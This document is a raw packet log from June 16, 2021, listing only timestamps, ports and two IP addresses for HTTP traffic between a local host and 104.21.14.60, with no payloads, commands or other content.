Jun 16, 2021 12:04:57.577059984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577071905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577084064 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577100039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577111959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577125072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577137947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577148914 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577162027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577173948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577187061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577198029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577209949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577260971 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.577299118 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.577372074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.577677011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.577903032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577936888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577959061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.577987909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578007936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578020096 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578032970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578058958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578062057 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578083038 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578103065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578111887 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578157902 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578397989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578444004 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578466892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578495026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578516006 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578521967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578526974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578548908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578557014 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578573942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578597069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578604937 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578623056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578646898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578666925 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578672886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578701019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578721046 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578727007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578752995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578779936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578793049 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578807116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.578824997 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.578838110 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.579375029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579411030 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579431057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579432011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.579452038 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579474926 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.579478025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579502106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579523087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.579526901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579550982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579577923 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579588890 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.579602003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579622984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.579631090 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.579674959 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.580210924 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.580482006 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.676650047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676681042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676700115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676721096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676740885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676748037 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.676760912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676772118 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.676800013 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.676812887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676837921 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676860094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676879883 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.676882029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676903963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676922083 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.676925898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676940918 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.676947117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676969051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.676986933 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677014112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677037001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677056074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677056074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677097082 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677104950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677126884 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677129030 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677166939 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677175999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677200079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677221060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677234888 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677270889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677297115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677319050 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677341938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677367926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677380085 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677422047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677447081 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677465916 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677501917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677525997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677542925 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677577019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677602053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677618027 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677629948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677676916 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677683115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677731991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677735090 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677757025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677779913 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677795887 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677829981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677853107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677874088 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677906990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677923918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677946091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.677947044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677983046 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.677984953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678004026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678020954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678042889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678057909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678072929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678092003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678097010 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678128958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678133011 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678153992 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678173065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678198099 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678200006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678211927 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678221941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678231001 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678245068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678294897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678314924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678327084 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678356886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678356886 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678399086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678420067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678447962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678464890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678486109 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678503990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678509951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678544044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678548098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678570032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678607941 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678620100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678642035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678661108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678685904 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678705931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678725004 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678749084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678759098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678788900 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678801060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678802013 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678823948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.678867102 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.678878069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679321051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679343939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679375887 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.679387093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679410934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679425955 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.679436922 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679476023 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.679512978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679538012 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679579973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679600000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679619074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679621935 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.679644108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679663897 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.679702044 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679712057 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.679728985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679773092 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.679788113 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679811954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679836035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.679852962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.680120945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.680597067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680620909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680675030 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.680722952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680747986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680771112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680792093 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.680794001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680831909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680840969 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.680854082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680876970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680898905 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.680932045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680960894 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.680983067 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.680984974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681027889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681045055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681071043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681097984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681113005 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681123018 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681165934 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681174994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681199074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681220055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681241989 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681243896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681273937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681298971 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681324005 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681348085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681370974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681372881 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681401014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681413889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681457996 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681482077 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681504011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681509972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681533098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681564093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681586981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681603909 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.681607962 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681631088 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.681648970 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.682225943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682250977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682271004 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682295084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682303905 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.682332039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682341099 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.682354927 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682375908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682404041 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682405949 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.682435989 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.682451010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682470083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682488918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682502985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.682507038 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682527065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682539940 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.682583094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682605982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682620049 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.682626009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.682660103 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.682893991 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.683131933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683159113 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683211088 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.683244944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683267117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683285952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683306932 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.683342934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683365107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683382034 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.683387995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683409929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683422089 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.683429956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683465958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.683476925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683497906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683517933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683531046 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.683537960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683562040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683572054 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.683624983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.683661938 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.684030056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684144974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684170008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684186935 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.684195042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684231043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.684236050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684262037 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684286118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684299946 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.684310913 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684336901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684350014 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.684381962 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684408903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684417963 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.684434891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684467077 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684468985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.684509039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684534073 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684544086 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.684559107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.684593916 CEST	49167	80	192.168.2.22	104.21.14.60
